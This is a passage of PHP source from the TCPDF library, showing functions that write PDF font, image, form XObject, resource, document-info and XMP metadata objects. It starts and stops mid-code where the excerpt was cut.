<9200>\n"; $stream .= "<9300> <93ff> <9300>\n"; $stream .= "<9400> <94ff> <9400>\n"; $stream .= "<9500> <95ff> <9500>\n"; $stream .= "<9600> <96ff> <9600>\n"; $stream .= "<9700> <97ff> <9700>\n"; $stream .= "<9800> <98ff> <9800>\n"; $stream .= "<9900> <99ff> <9900>\n"; $stream .= "<9a00> <9aff> <9a00>\n"; $stream .= "<9b00> <9bff> <9b00>\n"; $stream .= "<9c00> <9cff> <9c00>\n"; $stream .= "<9d00> <9dff> <9d00>\n"; $stream .= "<9e00> <9eff> <9e00>\n"; $stream .= "<9f00> <9fff> <9f00>\n"; $stream .= "<a000> <a0ff> <a000>\n"; $stream .= "<a100> <a1ff> <a100>\n"; $stream .= "<a200> <a2ff> <a200>\n"; $stream .= "<a300> <a3ff> <a300>\n"; $stream .= "<a400> <a4ff> <a400>\n"; $stream .= "<a500> <a5ff> <a500>\n"; $stream .= "<a600> <a6ff> <a600>\n"; $stream .= "<a700> <a7ff> <a700>\n"; $stream .= "<a800> <a8ff> <a800>\n"; $stream .= "<a900> <a9ff> <a900>\n"; $stream .= "<aa00> <aaff> <aa00>\n"; $stream .= "<ab00> <abff> <ab00>\n"; $stream .= "<ac00> <acff> <ac00>\n"; $stream .= "<ad00> <adff> <ad00>\n"; $stream .= "<ae00> <aeff> <ae00>\n"; $stream .= "<af00> <afff> <af00>\n"; $stream .= "<b000> <b0ff> <b000>\n"; $stream .= "<b100> <b1ff> <b100>\n"; $stream .= "<b200> <b2ff> <b200>\n"; $stream .= "<b300> <b3ff> <b300>\n"; $stream .= "<b400> <b4ff> <b400>\n"; $stream .= "<b500> <b5ff> <b500>\n"; $stream .= "<b600> <b6ff> <b600>\n"; $stream .= "<b700> <b7ff> <b700>\n"; $stream .= "<b800> <b8ff> <b800>\n"; $stream .= "<b900> <b9ff> <b900>\n"; $stream .= "<ba00> <baff> <ba00>\n"; $stream .= "<bb00> <bbff> <bb00>\n"; $stream .= "<bc00> <bcff> <bc00>\n"; $stream .= "<bd00> <bdff> <bd00>\n"; $stream .= "<be00> <beff> <be00>\n"; $stream .= "<bf00> <bfff> <bf00>\n"; $stream .= "<c000> <c0ff> <c000>\n"; $stream .= "<c100> <c1ff> <c100>\n"; $stream .= "<c200> <c2ff> <c200>\n"; $stream .= "<c300> <c3ff> <c300>\n"; $stream .= "<c400> <c4ff> <c400>\n"; $stream .= "<c500> <c5ff> <c500>\n"; $stream .= "<c600> <c6ff> <c600>\n"; $stream .= "<c700> <c7ff> <c700>\n"; $stream .= "endbfrange\n"; $stream .= "56 beginbfrange\n"; $stream .= "<c800> <c8ff> <c800>\n"; $stream .= "<c900> <c9ff> <c900>\n"; $stream .= "<ca00> <caff> <ca00>\n"; $stream .= "<cb00> <cbff> <cb00>\n"; $stream .= "<cc00> <ccff> <cc00>\n"; $stream .= "<cd00> <cdff> <cd00>\n"; $stream .= "<ce00> <ceff> <ce00>\n"; $stream .= "<cf00> <cfff> <cf00>\n"; $stream .= "<d000> <d0ff> <d000>\n"; $stream .= "<d100> <d1ff> <d100>\n"; $stream .= "<d200> <d2ff> <d200>\n"; $stream .= "<d300> <d3ff> <d300>\n"; $stream .= "<d400> <d4ff> <d400>\n"; $stream .= "<d500> <d5ff> <d500>\n"; $stream .= "<d600> <d6ff> <d600>\n"; $stream .= "<d700> <d7ff> <d700>\n"; $stream .= "<d800> <d8ff> <d800>\n"; $stream .= "<d900> <d9ff> <d900>\n"; $stream .= "<da00> <daff> <da00>\n"; $stream .= "<db00> <dbff> <db00>\n"; $stream .= "<dc00> <dcff> <dc00>\n"; $stream .= "<dd00> <ddff> <dd00>\n"; $stream .= "<de00> <deff> <de00>\n"; $stream .= "<df00> <dfff> <df00>\n"; $stream .= "<e000> <e0ff> <e000>\n"; $stream .= "<e100> <e1ff> <e100>\n"; $stream .= "<e200> <e2ff> <e200>\n"; $stream .= "<e300> <e3ff> <e300>\n"; $stream .= "<e400> <e4ff> <e400>\n"; $stream .= "<e500> <e5ff> <e500>\n"; $stream .= "<e600> <e6ff> <e600>\n"; $stream .= "<e700> <e7ff> <e700>\n"; $stream .= "<e800> <e8ff> <e800>\n"; $stream .= "<e900> <e9ff> <e900>\n"; $stream .= "<ea00> <eaff> <ea00>\n"; $stream .= "<eb00> <ebff> <eb00>\n"; $stream .= "<ec00> <ecff> <ec00>\n"; $stream .= "<ed00> <edff> <ed00>\n"; $stream .= "<ee00> <eeff> <ee00>\n"; $stream .= "<ef00> <efff> <ef00>\n"; $stream .= "<f000> <f0ff> <f000>\n"; $stream .= "<f100> <f1ff> <f100>\n"; $stream .= "<f200> <f2ff> <f200>\n"; $stream .= "<f300> <f3ff> <f300>\n"; $stream .= "<f400> <f4ff> <f400>\n"; $stream .= "<f500> <f5ff> <f500>\n"; $stream .= "<f600> <f6ff> <f600>\n"; $stream .= "<f700> <f7ff> <f700>\n"; $stream .= "<f800> <f8ff> <f800>\n"; $stream .= "<f900> <f9ff> <f900>\n"; $stream .= "<fa00> <faff> <fa00>\n"; $stream .= "<fb00> <fbff> <fb00>\n"; $stream .= "<fc00> <fcff> <fc00>\n"; $stream .= "<fd00> <fdff> <fd00>\n"; $stream .= "<fe00> <feff> <fe00>\n"; $stream .= "<ff00> <ffff> <ff00>\n"; $stream .= "endbfrange\n"; $stream .= "endcmap\n"; $stream .= "CMapName currentdict /CMap defineresource pop\n"; $stream .= "end\n"; $stream .= "end"; // ToUnicode Object $this->_newobj(); $stream = ($this->compress) ? gzcompress($stream) : $stream; $filter = ($this->compress) ? '/Filter /FlateDecode ' : ''; $stream = $this->_getrawstream($stream); $this->_out('<<'.$filter.'/Length '.strlen($stream).'>> stream'."\n".$stream."\n".'endstream'."\n".'endobj'); // CIDFontType2 // A CIDFont whose glyph descriptions are based on TrueType font technology $oid = $this->_newobj(); $out = '<< /Type /Font'; $out .= ' /Subtype /CIDFontType2'; $out .= ' /BaseFont /'.$fontname; // A dictionary containing entries that define the character collection of the CIDFont. $cidinfo = '/Registry '.$this->_datastring($font['cidinfo']['Registry'], $oid); $cidinfo .= ' /Ordering '.$this->_datastring($font['cidinfo']['Ordering'], $oid); $cidinfo .= ' /Supplement '.$font['cidinfo']['Supplement']; $out .= ' /CIDSystemInfo << '.$cidinfo.' >>'; $out .= ' /FontDescriptor '.($this->n + 1).' 0 R'; $out .= ' /DW '.$font['dw']; // default width $out .= "\n".$this->_putfontwidths($font, 0); if (isset($font['ctg']) AND (!$this->empty_string($font['ctg']))) { $out .= "\n".'/CIDToGIDMap '.($this->n + 2).' 0 R'; } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); // Font descriptor // A font descriptor describing the CIDFont default metrics other than its glyph widths $this->_newobj(); $out = '<< /Type /FontDescriptor'; $out .= ' /FontName /'.$fontname; foreach ($font['desc'] as $key => $value) { if (is_float($value)) { $value = sprintf('%F', $value); } $out .= ' /'.$key.' '.$value; } $fontdir = false; if (!$this->empty_string($font['file'])) { // A stream containing a TrueType font $out .= ' /FontFile2 '.$this->FontFiles[$font['file']]['n'].' 0 R'; $fontdir = $this->FontFiles[$font['file']]['fontdir']; } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); if (isset($font['ctg']) AND (!$this->empty_string($font['ctg']))) { $this->_newobj(); // Embed CIDToGIDMap // A specification of the mapping from CIDs to glyph indices // search and get CTG font file to embedd $ctgfile = strtolower($font['ctg']); // search and get ctg font file to embedd $fontfile = ''; // search files on various directories if (($fontdir !== false) AND file_exists($fontdir.$ctgfile)) { $fontfile = $fontdir.$ctgfile; } elseif (file_exists($this->_getfontpath().$ctgfile)) { $fontfile = $this->_getfontpath().$ctgfile; } elseif (file_exists($ctgfile)) { $fontfile = $ctgfile; } if ($this->empty_string($fontfile)) { $this->Error('Font file not found: '.$ctgfile); } $stream = $this->_getrawstream(file_get_contents($fontfile)); $out = '<< /Length '.strlen($stream).''; if (substr($fontfile, -2) == '.z') { // check file extension // Decompresses data encoded using the public-domain // zlib/deflate compression method, reproducing the // original text or binary data $out .= ' /Filter /FlateDecode'; } $out .= ' >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; $out .= "\n".'endobj'; $this->_out($out); } } /** * Output CID-0 fonts. * A Type 0 CIDFont contains glyph descriptions based on the Adobe Type 1 font format * @param $font (array) font data * @protected * @author Andrew Whitehead, Nicola Asuni, Yukihiro Nakadaira * @since 3.2.000 (2008-06-23) */ protected function _putcidfont0($font) { $cidoffset = 0; if (!isset($font['cw'][1])) { $cidoffset = 31; } if (isset($font['cidinfo']['uni2cid'])) { // convert unicode to cid. $uni2cid = $font['cidinfo']['uni2cid']; $cw = array(); foreach ($font['cw'] as $uni => $width) { if (isset($uni2cid[$uni])) { $cw[($uni2cid[$uni] + $cidoffset)] = $width; } elseif ($uni < 256) { $cw[$uni] = $width; } // else unknown character } $font = array_merge($font, array('cw' => $cw)); } $name = $font['name']; $enc = $font['enc']; if ($enc) { $longname = $name.'-'.$enc; } else { $longname = $name; } $out = $this->_getobj($this->font_obj_ids[$font['fontkey']])."\n"; $out .= '<</Type /Font'; $out .= ' /Subtype /Type0'; $out .= ' /BaseFont /'.$longname; $out .= ' /Name /F'.$font['i']; if ($enc) { $out .= ' /Encoding /'.$enc; } $out .= ' /DescendantFonts ['.($this->n + 1).' 0 R]'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); $oid = $this->_newobj(); $out = '<</Type /Font'; $out .= ' /Subtype /CIDFontType0'; $out .= ' /BaseFont /'.$name; $cidinfo = '/Registry '.$this->_datastring($font['cidinfo']['Registry'], $oid); $cidinfo .= ' /Ordering '.$this->_datastring($font['cidinfo']['Ordering'], $oid); $cidinfo .= ' /Supplement '.$font['cidinfo']['Supplement']; $out .= ' /CIDSystemInfo <<'.$cidinfo.'>>'; $out .= ' /FontDescriptor '.($this->n + 1).' 0 R'; $out .= ' /DW '.$font['dw']; $out .= "\n".$this->_putfontwidths($font, $cidoffset); $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); $this->_newobj(); $s = '<</Type /FontDescriptor /FontName /'.$name; foreach ($font['desc'] as $k => $v) { if ($k != 'Style') { if (is_float($v)) { $v = sprintf('%F', $v); } $s .= ' /'.$k.' '.$v.''; } } $s .= '>>'; $s .= "\n".'endobj'; $this->_out($s); } /** * Output images. * @protected */ protected function _putimages() { $filter = ($this->compress) ? '/Filter /FlateDecode ' : ''; foreach ($this->imagekeys as $file) { $info = $this->getImageBuffer($file); // set object for alternate images array if ((!$this->pdfa_mode) AND isset($info['altimgs']) AND !empty($info['altimgs'])) { $altoid = $this->_newobj(); $out = '['; foreach ($info['altimgs'] as $altimage) { if (isset($this->xobjects['I'.$altimage[0]]['n'])) { $out .= ' << /Image '.$this->xobjects['I'.$altimage[0]]['n'].' 0 R'; $out .= ' /DefaultForPrinting'; if ($altimage[1] === true) { $out .= ' true'; } else { $out .= ' false'; } $out .= ' >>'; } } $out .= ' ]'; $out .= "\n".'endobj'; $this->_out($out); } // set image object $oid = $this->_newobj(); $this->xobjects['I'.$info['i']] = array('n' => $oid); $this->setImageSubBuffer($file, 'n', $this->n); $out = '<</Type /XObject'; $out .= ' /Subtype /Image'; $out .= ' /Width '.$info['w']; $out .= ' /Height '.$info['h']; if (array_key_exists('masked', $info)) { $out .= ' /SMask '.($this->n - 1).' 0 R'; } // set color space $icc = false; if (isset($info['icc']) AND ($info['icc'] !== false)) { // ICC Colour Space $icc = true; $out .= ' /ColorSpace [/ICCBased '.($this->n + 1).' 0 R]'; } elseif ($info['cs'] == 'Indexed') { // Indexed Colour Space $out .= ' /ColorSpace [/Indexed /DeviceRGB '.((strlen($info['pal']) / 3) - 1).' '.($this->n + 1).' 0 R]'; } else { // Device Colour Space $out .= ' /ColorSpace /'.$info['cs']; } if ($info['cs'] == 'DeviceCMYK') { $out .= ' /Decode [1 0 1 0 1 0 1 0]'; } $out .= ' /BitsPerComponent '.$info['bpc']; if (isset($altoid) AND ($altoid > 0)) { // reference to alternate images dictionary $out .= ' /Alternates '.$altoid.' 0 R'; } if (isset($info['exurl']) AND !empty($info['exurl'])) { // external stream $out .= ' /Length 0'; $out .= ' /F << /FS /URL /F '.$this->_datastring($info['exurl'], $oid).' >>'; if (isset($info['f'])) { $out .= ' /FFilter /'.$info['f']; } $out .= ' >>'; $out .= ' stream'."\n".'endstream'; } else { if (isset($info['f'])) { $out .= ' /Filter /'.$info['f']; } if (isset($info['parms'])) { $out .= ' '.$info['parms']; } if (isset($info['trns']) AND is_array($info['trns'])) { $trns = ''; $count_info = count($info['trns']); for ($i=0; $i < $count_info; ++$i) { $trns .= $info['trns'][$i].' '.$info['trns'][$i].' '; } $out .= ' /Mask ['.$trns.']'; } $stream = $this->_getrawstream($info['data']); $out .= ' /Length '.strlen($stream).' >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; } $out .= "\n".'endobj'; $this->_out($out); if ($icc) { // ICC colour profile $this->_newobj(); $icc = ($this->compress) ? gzcompress($info['icc']) : $info['icc']; $icc = $this->_getrawstream($icc); $this->_out('<</N '.$info['ch'].' /Alternate /'.$info['cs'].' '.$filter.'/Length '.strlen($icc).'>> stream'."\n".$icc."\n".'endstream'."\n".'endobj'); } elseif ($info['cs'] == 'Indexed') { // colour palette $this->_newobj(); $pal = ($this->compress) ? gzcompress($info['pal']) : $info['pal']; $pal = $this->_getrawstream($pal); $this->_out('<<'.$filter.'/Length '.strlen($pal).'>> stream'."\n".$pal."\n".'endstream'."\n".'endobj'); } } } /** * Output Form XObjects Templates. * @author Nicola Asuni * @since 5.8.017 (2010-08-24) * @protected * @see startTemplate(), endTemplate(), printTemplate() */ protected function _putxobjects() { foreach ($this->xobjects as $key => $data) { if (isset($data['outdata'])) { $stream = trim($data['outdata']); $out = $this->_getobj($data['n'])."\n"; $out .= '<<'; $out .= ' /Type /XObject'; $out .= ' /Subtype /Form'; $out .= ' /FormType 1'; if ($this->compress) { $stream = gzcompress($stream); $out .= ' /Filter /FlateDecode'; } $out .= sprintf(' /BBox [%F %F %F %F]', ($data['x'] * $this->k), (-$data['y'] * $this->k), (($data['w'] + $data['x']) * $this->k), (($data['h'] - $data['y']) * $this->k)); $out .= ' /Matrix [1 0 0 1 0 0]'; $out .= ' /Resources <<'; $out .= ' /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]'; if (!$this->pdfa_mode) { // transparency if (isset($data['extgstates']) AND !empty($data['extgstates'])) { $out .= ' /ExtGState <<'; foreach ($data['extgstates'] as $k => $extgstate) { if (isset($this->extgstates[$k]['name'])) { $out .= ' /'.$this->extgstates[$k]['name']; } else { $out .= ' /GS'.$k; } $out .= ' '.$this->extgstates[$k]['n'].' 0 R'; } $out .= ' >>'; } if (isset($data['gradients']) AND !empty($data['gradients'])) { $gp = ''; $gs = ''; foreach ($data['gradients'] as $id => $grad) { // gradient patterns $gp .= ' /p'.$id.' '.$this->gradients[$id]['pattern'].' 0 R'; // gradient shadings $gs .= ' /Sh'.$id.' '.$this->gradients[$id]['id'].' 0 R'; } $out .= ' /Pattern <<'.$gp.' >>'; $out .= ' /Shading <<'.$gs.' >>'; } } // spot colors if (isset($data['spot_colors']) AND !empty($data['spot_colors'])) { $out .= ' /ColorSpace <<'; foreach ($data['spot_colors'] as $name => $color) { $out .= ' /CS'.$color['i'].' '.$this->spot_colors[$name]['n'].' 0 R'; } $out .= ' >>'; } // fonts if (!empty($data['fonts'])) { $out .= ' /Font <<'; foreach ($data['fonts'] as $fontkey => $fontid) { $out .= ' /F'.$fontid.' '.$this->font_obj_ids[$fontkey].' 0 R'; } $out .= ' >>'; } // images or nested xobjects if (!empty($data['images']) OR !empty($data['xobjects'])) { $out .= ' /XObject <<'; foreach ($data['images'] as $imgid) { $out .= ' /I'.$imgid.' '.$this->xobjects['I'.$imgid]['n'].' 0 R'; } foreach ($data['xobjects'] as $sub_id => $sub_objid) { $out .= ' /'.$sub_id.' '.$sub_objid['n'].' 0 R'; } $out .= ' >>'; } $out .= ' >>'; //end resources if (isset($data['group']) AND ($data['group'] !== false)) { // set transparency group $out .= ' /Group << /Type /Group /S /Transparency'; if (is_array($data['group'])) { if (isset($data['group']['CS']) AND !empty($data['group']['CS'])) { $out .= ' /CS /'.$data['group']['CS']; } if (isset($data['group']['I'])) { $out .= ' /I /'.($data['group']['I']===true?'true':'false'); } if (isset($data['group']['K'])) { $out .= ' /K /'.($data['group']['K']===true?'true':'false'); } } $out .= ' >>'; } $stream = $this->_getrawstream($stream, $data['n']); $out .= ' /Length '.strlen($stream); $out .= ' >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; $out .= "\n".'endobj'; $this->_out($out); } } } /** * Output Spot Colors Resources. * @protected * @since 4.0.024 (2008-09-12) */ protected function _putspotcolors() { foreach ($this->spot_colors as $name => $color) { $this->_newobj(); $this->spot_colors[$name]['n'] = $this->n; $out = '[/Separation /'.str_replace(' ', '#20', $name); $out .= ' /DeviceCMYK <<'; $out .= ' /Range [0 1 0 1 0 1 0 1] /C0 [0 0 0 0]'; $out .= ' '.sprintf('/C1 [%F %F %F %F] ', ($color['C'] / 100), ($color['M'] / 100), ($color['Y'] / 100), ($color['K'] / 100)); $out .= ' /FunctionType 2 /Domain [0 1] /N 1>>]'; $out .= "\n".'endobj'; $this->_out($out); } } /** * Return XObjects Dictionary. * @return string XObjects dictionary * @protected * @since 5.8.014 (2010-08-23) */ protected function _getxobjectdict() { $out = ''; foreach ($this->xobjects as $id => $objid) { $out .= ' /'.$id.' '.$objid['n'].' 0 R'; } return $out; } /** * Output Resources Dictionary. * @protected */ protected function _putresourcedict() { $out = $this->_getobj(2)."\n"; $out .= '<< /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]'; $out .= ' /Font <<'; foreach ($this->fontkeys as $fontkey) { $font = $this->getFontBuffer($fontkey); $out .= ' /F'.$font['i'].' '.$font['n'].' 0 R'; } $out .= ' >>'; $out .= ' /XObject <<'; $out .= $this->_getxobjectdict(); $out .= ' >>'; // layers if (!empty($this->pdflayers)) { $out .= ' /Properties <<'; foreach ($this->pdflayers as $layer) { $out .= ' /'.$layer['layer'].' '.$layer['objid'].' 0 R'; } $out .= ' >>'; } if (!$this->pdfa_mode) { // transparency if (isset($this->extgstates) AND !empty($this->extgstates)) { $out .= ' /ExtGState <<'; foreach ($this->extgstates as $k => $extgstate) { if (isset($extgstate['name'])) { $out .= ' /'.$extgstate['name']; } else { $out .= ' /GS'.$k; } $out .= ' '.$extgstate['n'].' 0 R'; } $out .= ' >>'; } if (isset($this->gradients) AND !empty($this->gradients)) { $gp = ''; $gs = ''; foreach ($this->gradients as $id => $grad) { // gradient patterns $gp .= ' /p'.$id.' '.$grad['pattern'].' 0 R'; // gradient shadings $gs .= ' /Sh'.$id.' '.$grad['id'].' 0 R'; } $out .= ' /Pattern <<'.$gp.' >>'; $out .= ' /Shading <<'.$gs.' >>'; } } // spot colors if (isset($this->spot_colors) AND !empty($this->spot_colors)) { $out .= ' /ColorSpace <<'; foreach ($this->spot_colors as $color) { $out .= ' /CS'.$color['i'].' '.$color['n'].' 0 R'; } $out .= ' >>'; } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } /** * Output Resources. * @protected */ protected function _putresources() { $this->_putextgstates(); $this->_putocg(); $this->_putfonts(); $this->_putimages(); $this->_putspotcolors(); $this->_putshaders(); $this->_putxobjects(); $this->_putresourcedict(); $this->_putdests(); $this->_putEmbeddedFiles(); $this->_putannotsobjs(); $this->_putjavascript(); $this->_putbookmarks(); $this->_putencryption(); } /** * Adds some Metadata information (Document Information Dictionary) * (see Chapter 14.3.3 Document Information Dictionary of PDF32000_2008.pdf Reference) * @return int object id * @protected */ protected function _putinfo() { $oid = $this->_newobj(); $out = '<<'; // store current isunicode value $prev_isunicode = $this->isunicode; if ($this->docinfounicode) { $this->isunicode = true; } if (!$this->empty_string($this->title)) { // The document's title. $out .= ' /Title '.$this->_textstring($this->title, $oid); } if (!$this->empty_string($this->author)) { // The name of the person who created the document. $out .= ' /Author '.$this->_textstring($this->author, $oid); } if (!$this->empty_string($this->subject)) { // The subject of the document. $out .= ' /Subject '.$this->_textstring($this->subject, $oid); } if (!$this->empty_string($this->keywords)) { // Keywords associated with the document. $out .= ' /Keywords '.$this->_textstring($this->keywords.' TCPDF', $oid); } if (!$this->empty_string($this->creator)) { // If the document was converted to PDF from another format, the name of the conforming product that created the original document from which it was converted. $out .= ' /Creator '.$this->_textstring($this->creator, $oid); } // restore previous isunicode value $this->isunicode = $prev_isunicode; // default producer $out .= ' /Producer '.$this->_textstring($this->pdfproducer, $oid); // The date and time the document was created, in human-readable form $out .= ' /CreationDate '.$this->_datestring(0, $this->doc_creation_timestamp); // The date and time the document was most recently modified, in human-readable form $out .= ' /ModDate '.$this->_datestring(0, $this->doc_modification_timestamp); // A name object indicating whether the document has been modified to include trapping information $out .= ' /Trapped /False'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); return $oid; } /** * Set additional XMP data to be added on the default XMP data just before the end of "x:xmpmeta" tag. * IMPORTANT: This data is added as-is without controls, so you have to validate your data before using this method! * @param $xmp (string) Custom XMP data. * @since 5.9.128 (2011-10-06) * @public */ public function setExtraXMP($xmp) { $this->custom_xmp = $xmp; } /** * Put XMP data object and return ID. * @return (int) The object ID. * @since 5.9.121 (2011-09-28) * @protected */ protected function _putXMP() { $oid = $this->_newobj(); // store current isunicode value $prev_isunicode = $this->isunicode; $this->isunicode = true; $prev_encrypted = $this->encrypted; $this->encrypted = false; // set XMP data $xmp = '<?xpacket begin="'.$this->unichr(0xfeff).'" id="W5M0MpCehiHzreSzNTczkc9d"?>'."\n"; $xmp .= '<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.1-c043 52.372728, 2009/01/18-15:08:04">'."\n"; $xmp .= "\t".'<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">'."\n"; $xmp .= "\t\t".'<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">'."\n"; $xmp .= "\t\t\t".'<dc:format>application/pdf</dc:format>'."\n"; $xmp .= "\t\t\t".'<dc:title>'."\n"; $xmp .= "\t\t\t\t".'<rdf:Alt>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li xml:lang="x-default">'.$this->_escapeXML($this->title).'</rdf:li>'."\n"; $xmp .= "\t\t\t\t".'</rdf:Alt>'."\n"; $xmp .= "\t\t\t".'</dc:title>'."\n"; $xmp .= "\t\t\t".'<dc:creator>'."\n"; $xmp .= "\t\t\t\t".'<rdf:Seq>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li>'.$this->_escapeXML($this->author).'</rdf:li>'."\n"; $xmp .= "\t\t\t\t".'</rdf:Seq>'."\n"; $xmp .= "\t\t\t".'</dc:creator>'."\n"; $xmp .= "\t\t\t".'<dc:description>'."\n"; $xmp .= "\t\t\t\t".'<rdf:Alt>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li xml:lang="x-default">'.$this->_escapeXML($this->subject).'</rdf:li>'."\n"; $xmp .= "\t\t\t\t".'</rdf:Alt>'."\n"; $xmp .= "\t\t\t".'</dc:description>'."\n"; $xmp .= "\t\t\t".'<dc:subject>'."\n"; $xmp .= "\t\t\t\t".'<rdf:Bag>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li>'.$this->_escapeXML($this->keywords).' TCPDF</rdf:li>'."\n"; $xmp .= "\t\t\t\t".'</rdf:Bag>'."\n"; $xmp .= "\t\t\t".'</dc:subject>'."\n"; $xmp .= "\t\t".'</rdf:Description>'."\n"; // convert doc creation date format $dcdate = $this->getFormattedDate($this->doc_creation_timestamp); $doccreationdate = substr($dcdate, 0, 4).'-'.substr($dcdate, 4, 2).'-'.substr($dcdate, 6, 2); $doccreationdate .= 'T'.substr($dcdate, 8, 2).':'.substr($dcdate, 10, 2).':'.substr($dcdate, 12, 2); $doccreationdate .= '+'.substr($dcdate, 15, 2).':'.substr($dcdate, 18, 2); $doccreationdate = $this->_escapeXML($doccreationdate); // convert doc modification date format $dmdate = $this->getFormattedDate($this->doc_modification_timestamp); $docmoddate = substr($dmdate, 0, 4).'-'.substr($dmdate, 4, 2).'-'.substr($dmdate, 6, 2); $docmoddate .= 'T'.substr($dmdate, 8, 2).':'.substr($dmdate, 10, 2).':'.substr($dmdate, 12, 2); $docmoddate .= '+'.substr($dmdate, 15, 2).':'.substr($dmdate, 18, 2); $docmoddate = $this->_escapeXML($docmoddate); $xmp .= "\t\t".'<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">'."\n"; $xmp .= "\t\t\t".'<xmp:CreateDate>'.$doccreationdate.'</xmp:CreateDate>'."\n"; $xmp .= "\t\t\t".'<xmp:CreatorTool>'.$this->creator.'</xmp:CreatorTool>'."\n"; $xmp .= "\t\t\t".'<xmp:ModifyDate>'.$docmoddate.'</xmp:ModifyDate>'."\n"; $xmp .= "\t\t\t".'<xmp:MetadataDate>'.$doccreationdate.'</xmp:MetadataDate>'."\n"; $xmp .= "\t\t".'</rdf:Description>'."\n"; $xmp .= "\t\t".'<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/">'."\n"; $xmp .= "\t\t\t".'<pdf:Keywords>'.$this->_escapeXML($this->keywords).' TCPDF</pdf:Keywords>'."\n"; $xmp .= "\t\t\t".'<pdf:Producer>'.$this->_escapeXML($this->pdfproducer).'</pdf:Producer>'."\n"; $xmp .= "\t\t".'</rdf:Description>'."\n"; $xmp .= "\t\t".'<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">'."\n"; $uuid = 'uuid:'.substr($this->file_id, 0, 8).'-'.substr($this->file_id, 8, 4).'-'.substr($this->file_id, 12, 4).'-'.substr($this->file_id, 16, 4).'-'.substr($this->file_id, 20, 12); $xmp .= "\t\t\t".'<xmpMM:DocumentID>'.$uuid.'</xmpMM:DocumentID>'."\n"; $xmp .= "\t\t\t".'<xmpMM:InstanceID>'.$uuid.'</xmpMM:InstanceID>'."\n"; $xmp .= "\t\t".'</rdf:Description>'."\n"; if ($this->pdfa_mode) { $xmp .= "\t\t".'<rdf:Description rdf:about="" xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/">'."\n"; $xmp .= "\t\t\t".'<pdfaid:part>1</pdfaid:part>'."\n"; $xmp .= "\t\t\t".'<pdfaid:conformance>B</pdfaid:conformance>'."\n"; $xmp .= "\t\t".'</rdf:Description>'."\n"; } // XMP extension schemas $xmp .= "\t\t".'<rdf:Description rdf:about="" xmlns:pdfaExtension="http://www.aiim.org/pdfa/ns/extension/" xmlns:pdfaSchema="http://www.aiim.org/pdfa/ns/schema#" xmlns:pdfaProperty="http://www.aiim.org/pdfa/ns/property#">'."\n"; $xmp .= "\t\t\t".'<pdfaExtension:schemas>'."\n"; $xmp .= "\t\t\t\t".'<rdf:Bag>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:namespaceURI>http://ns.adobe.com/pdf/1.3/</pdfaSchema:namespaceURI>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:prefix>pdf</pdfaSchema:prefix>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:schema>Adobe PDF Schema</pdfaSchema:schema>'."\n"; $xmp .= "\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:namespaceURI>http://ns.adobe.com/xap/1.0/mm/</pdfaSchema:namespaceURI>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:prefix>xmpMM</pdfaSchema:prefix>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:schema>XMP Media Management Schema</pdfaSchema:schema>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:property>'."\n"; $xmp .= "\t\t\t\t\t\t\t".'<rdf:Seq>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'<rdf:li rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:category>internal</pdfaProperty:category>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:description>UUID based identifier for specific incarnation of a document</pdfaProperty:description>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:name>InstanceID</pdfaProperty:name>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:valueType>URI</pdfaProperty:valueType>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t\t\t\t".'</rdf:Seq>'."\n"; $xmp .= "\t\t\t\t\t\t".'</pdfaSchema:property>'."\n"; $xmp .= "\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t\t".'<rdf:li rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:namespaceURI>http://www.aiim.org/pdfa/ns/id/</pdfaSchema:namespaceURI>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:prefix>pdfaid</pdfaSchema:prefix>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:schema>PDF/A ID Schema</pdfaSchema:schema>'."\n"; $xmp .= "\t\t\t\t\t\t".'<pdfaSchema:property>'."\n"; $xmp .= "\t\t\t\t\t\t\t".'<rdf:Seq>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'<rdf:li 